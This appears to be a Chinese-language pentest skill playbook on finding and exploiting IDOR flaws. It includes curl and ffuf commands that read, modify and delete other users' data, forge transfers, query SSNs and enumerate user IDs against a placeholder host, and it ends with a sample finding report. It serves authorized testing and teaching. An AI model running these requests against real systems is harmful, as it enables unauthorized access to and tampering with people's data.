| name | exploiting-idor-vulnerabilities |
| description | 通过操纵 API 请求和 URL 中的对象标识符,识别并利用不安全的直接对象引用(IDOR)漏洞以访问未授权资源。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","idor","access-control","owasp","burpsuite","web-security"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
利用 IDOR 漏洞(Exploiting IDOR Vulnerabilities)
适用场景
- 在授权渗透测试期间测试资源端点上的访问控制
- 当 API 或网页在 URL 或请求体中使用可预测标识符(数字 ID、UUID、slug)时
- 验证对象级授权是否在所有 CRUD 操作中得到执行
- 测试多租户应用程序,其中用户只能访问自己的数据
- 在针对访问控制失效漏洞的漏洞奖励计划期间
前置条件
- 授权:针对目标应用程序的书面渗透测试协议
- Burp Suite Professional:从 BApp Store 安装了 Authorize 扩展
- 两个测试账户:至少两个具有不同权限级别的独立用户账户
- Burp Authorize 扩展:用于跨会话的自动化 IDOR 测试
- curl/httpie:用于手动请求构建
- 浏览器:配置为通过 Burp Suite 代理
工作流程
步骤 1:映射应用程序中的所有对象引用
识别应用程序中每个通过 ID 引用对象的端点。
步骤 2:配置 Burp Authorize 扩展进行自动化测试
设置 Authorize 扩展以自动用不同用户的会话重放请求。
# 从 BApp Store 安装 Authorize:
# Burp > Extender > BApp Store > 搜索 "Authorize" > 安装
# 配置:
# 1. 在独立浏览器/隐身模式下以用户 B(受害者)身份登录
# 2. 复制用户 B 的会话 cookie/授权头
# 3. 在 Authorize 标签 > 配置中:
# - 在"Replace cookies"部分添加用户 B 的 cookies
# - 或在"Replace headers"中添加用户 B 的 Authorization 头
# 示例头替换:
# 原始(用户 A):Authorization: Bearer <token_A>
# 替换为(用户 B):Authorization: Bearer <token_B>
# 4. 启用"Intercept requests from Repeater"
# 5. 启用"Intercept requests from Proxy"
# Authorize 会显示:
# - 绿色:正确限制(不同用户得到不同响应)
# - 红色:可能存在漏洞(无论用户不同响应相同)
# - 橙色:不确定(需要手动验证)
步骤 3:测试水平 IDOR(同等权限级别)
尝试访问同等权限级别的另一个用户的资源。
TOKEN_A="Bearer eyJ..."
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/101/profile" | jq .
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/profile" | jq .
for resource in profile orders invoices messages documents; do
echo "--- 测试 $resource ---"
curl -s -o /dev/null -w "自己: %{http_code} " \
-H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/101/$resource"
curl -s -o /dev/null -w "其他: %{http_code}\n" \
-H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/$resource"
done
curl -s -X PUT -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"name":"Hacked"}' \
"https://target.example.com/api/v1/users/102/profile"
步骤 4:测试垂直 IDOR(跨权限级别)
尝试用普通用户令牌访问管理员或更高权限的资源。
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/1/profile" | jq .
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/admin/reports/1" | jq .
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/organizations/2/settings" | jq .
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/invoices/999/download" -o test.pdf
file test.pdf
步骤 5:在非明显位置测试 IDOR
在请求体、请求头和间接引用中寻找 IDOR。
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"sender_id": 101, "recipient_id": 102, "amount": 1}' \
"https://target.example.com/api/v1/transfers"
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"sender_id": 102, "recipient_id": 101, "amount": 1000}' \
"https://target.example.com/api/v1/transfers"
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/files?path=/users/102/documents/secret.pdf"
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"query":"{ user(id: 102) { email phone ssn } }"}' \
"https://target.example.com/graphql"
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/101/profile?user_id=102"
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"ids": [101, 102, 103, 104, 105]}' \
"https://target.example.com/api/v1/users/bulk"
步骤 6:枚举并升级影响
通过 IDOR 确定数据暴露的完整范围。
ffuf -u "https://target.example.com/api/v1/users/FUZZ/profile" \
-w <(seq 1 500) \
-H "Authorization: $TOKEN_A" \
-mc 200 -t 10 -rate 20 \
-o valid-users.json -of json
jq '.results | length' valid-users.json
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/profile" | \
jq 'keys'
curl -s -X DELETE -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/posts/1" \
-w "%{http_code}"
核心概念
| 概念 | 定义 |
|---|
| 水平 IDOR(Horizontal IDOR) | 访问同等权限级别的另一个用户的资源 |
| 垂直 IDOR(Vertical IDOR) | 访问需要比当前用户更高权限的资源 |
| 直接对象引用(Direct Object Reference) | 在 API 参数中直接使用数据库键、文件路径或标识符 |
| 间接对象引用(Indirect Object Reference) | 使用服务器解析为实际对象的映射引用(如索引) |
| 对象级授权(Object-Level Authorization) | 服务器端检查请求用户是否有权访问特定对象 |
| 可预测 ID(Predictable IDs) | 允许轻松枚举有效对象的顺序数字标识符 |
| UUID 随机性(UUID Randomness) | 使用 UUIDv4 使枚举更困难,但不能替代授权检查 |
工具与系统
| 工具 | 用途 |
|---|
| Burp Suite Professional | 带有 Intruder 用于 ID 枚举和 Repeater 用于手动测试的 HTTP 代理 |
| Authorize (Burp 扩展) | 通过用不同用户会话重放请求进行自动化 IDOR 测试 |
| AutoRepeater (Burp 扩展) | 自动重复带修改授权头的请求 |
| Postman | 使用环境变量在用户上下文之间切换的 API 测试 |
| ffuf | 对象 ID 参数的快速模糊测试 |
| OWASP ZAP | 带访问控制测试插件的免费代理替代方案 |
常见场景
场景:发票下载 IDOR
/invoices/{id}/download 端点生成 PDF 发票。通过递增发票 ID,任何已认证用户都可以下载属于其他客户的发票,暴露账单地址和付款详情。
场景:用户资料数据泄露
/api/users/{id} 端点返回完整的用户资料,包括电子邮件、电话和地址。API 只检查请求是否有有效令牌,但从不验证令牌所有者是否与请求的用户 ID 匹配。
场景:通过路径操纵访问文件
文档管理系统将文件存储在 /files/{user_id}/{filename} 下。通过更改 user_id 路径段,用户可以访问其他用户上传的私人文档。
场景:消息线程劫持
/api/conversations/{id}/messages 处的消息端点允许任何已认证用户通过更改会话 ID 来读取任何对话中的消息。
输出格式
## IDOR 漏洞发现
**漏洞**: 不安全的直接对象引用(水平 IDOR)
**严重性**: 高(CVSS 7.5)
**位置**: GET /api/v1/users/{id}/profile
**OWASP 类别**: A01:2021 - 访问控制失效
### 复现步骤
1. 以用户 A(ID:101)身份认证并获取 JWT 令牌
2. 使用用户 A 的令牌发送 GET /api/v1/users/101/profile(返回自己的资料)
3. 将 ID 更改为 102:使用用户 A 的令牌发送 GET /api/v1/users/102/profile
4. 观察到返回了用户 B 的完整资料,包括个人身份信息
### 受影响端点
| 端点 | 方法 | 影响 |
|----------|--------|--------|
| /api/v1/users/{id}/profile | GET | 读取任意用户的个人身份信息 |
| /api/v1/users/{id}/orders | GET | 读取任意用户的订单历史 |
| /api/v1/users/{id}/profile | PUT | 修改任意用户的资料 |
| /api/v1/invoices/{id}/download | GET | 下载任意用户的发票 |
### 影响
- 超过 15,000 个用户资料可访问(枚举 ID 1-15247)
- 暴露字段:姓名、电子邮件、电话、地址、出生日期
- 写入型 IDOR 允许修改其他用户的资料
- 违反 GDPR 数据访问控制
### 建议
1. 实施对象级授权:验证请求用户拥有或有权访问所请求的对象
2. 使用不可枚举标识符(UUIDv4)作为纵深防御措施
3. 记录并警报顺序 ID 枚举模式
4. 对资源端点实施速率限制